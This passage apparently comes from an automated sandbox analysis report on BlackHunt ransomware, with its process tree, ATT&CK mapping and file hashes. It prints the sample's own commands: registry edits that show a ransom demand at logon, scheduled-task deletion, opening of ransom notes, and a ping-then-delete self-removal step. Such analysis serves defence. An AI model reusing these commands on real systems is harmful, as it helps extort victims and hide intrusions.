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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f2⤵PID:16668
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f3⤵PID:24960
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f2⤵PID:11624
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C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f3⤵PID:25016
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F2⤵PID:27220
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C:\Windows\system32\schtasks.exeSCHTASKS.exe /Delete /TN "Windows Critical Update" /F3⤵PID:25036
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f2⤵PID:11128
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f3⤵PID:24988
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f2⤵PID:11580
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C:\Windows\system32\reg.exereg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f3⤵PID:24936
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt2⤵PID:11456
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C:\Windows\system32\notepad.exenotepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt3⤵PID:25056
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f2⤵PID:11084
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C:\Windows\system32\taskkill.exetaskkill /IM mshta.exe /f3⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:25096
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C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta2⤵
- Checks computer location settings
- Modifies registry class
PID:24620 -
C:\Windows\SysWOW64\mshta.exe"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}3⤵PID:25180
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 25180 -s 14604⤵
- Program crash
PID:25240
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\81ad14defcf93d087ed52ff2cb26d7fecfe158badf3514a23f509fa41f78c9c8.exe"2⤵PID:24636
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C:\Windows\SysWOW64\PING.EXEping 127.0.0.1 -n 53⤵
- Runs ping.exe
PID:25004
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:12072
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C:\Windows\system32\wbengine.exe"C:\Windows\system32\wbengine.exe"1⤵
- Suspicious use of AdjustPrivilegeToken
PID:8816
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C:\Windows\System32\vdsldr.exeC:\Windows\System32\vdsldr.exe -Embedding1⤵PID:29660
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C:\Windows\System32\vds.exeC:\Windows\System32\vds.exe1⤵
- Checks SCSI registry key(s)
PID:15216
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C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -pss -s 460 -p 25180 -ip 251801⤵PID:25120
Network
MITRE ATT&CK Enterprise v15
Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Privilege Escalation
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Create or Modify System Process
1Windows Service
1Scheduled Task/Job
1Defense Evasion
Abuse Elevation Control Mechanism
1Bypass User Account Control
1Impair Defenses
2Disable or Modify Tools
2Indicator Removal
4File Deletion
3Modify Registry
5Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
1KB
MD575e94ece67b1e1c5bf1a622218f3e23f
SHA11f34ecc9fc920e307ef1bcfba341c8c72a5dd53f
SHA25642552c2d63fa09e4bc5b920e46424fbc110a05ff739e93ebb7c43ccdf7a25f79
SHA512bee77bc1d3f37b0f02a800bbb58af7fab279b445b4a1db53ca0bd978318b47826e53423aa87cc853286cd2aeff803f8ba27807b34cb6de1d5b59b9ba2a3454d8
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Filesize
12KB
MD57ae1b781000605fb3bf892c0de1acbb5
SHA101f6917d15c5f830299ea30775b10be2f9d5b2df
SHA256f5e8847ffe60ffdc0e5e9039736c8d14f2ad237cd0473dfb11df24fb280a52a3
SHA512af1655102fa91277fc0541651b5edf8f8c6b3184f4e1b3654f39883f488733b020ab8fc722ca5aeb53d8961f4223feaab2b8977ef727793c0793c2bf0805d08b
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Filesize
684B
MD5bfca70aaf5687efded070d22d970e5ab
SHA13de08edbc3a4b37941224e141f0ae106aa69c8ec
SHA2561f83e70b487647bc2acf95a4fcc779307d7d10a81a63490dcbfecb344f4c8733
SHA512562372633b5d1f4458313c93f89a742d9751a98f39d050378a1f9bddf46a3979875cb64eb873d854798f03ed7561768c15b9cf369228d1bdf866945fcefc7d30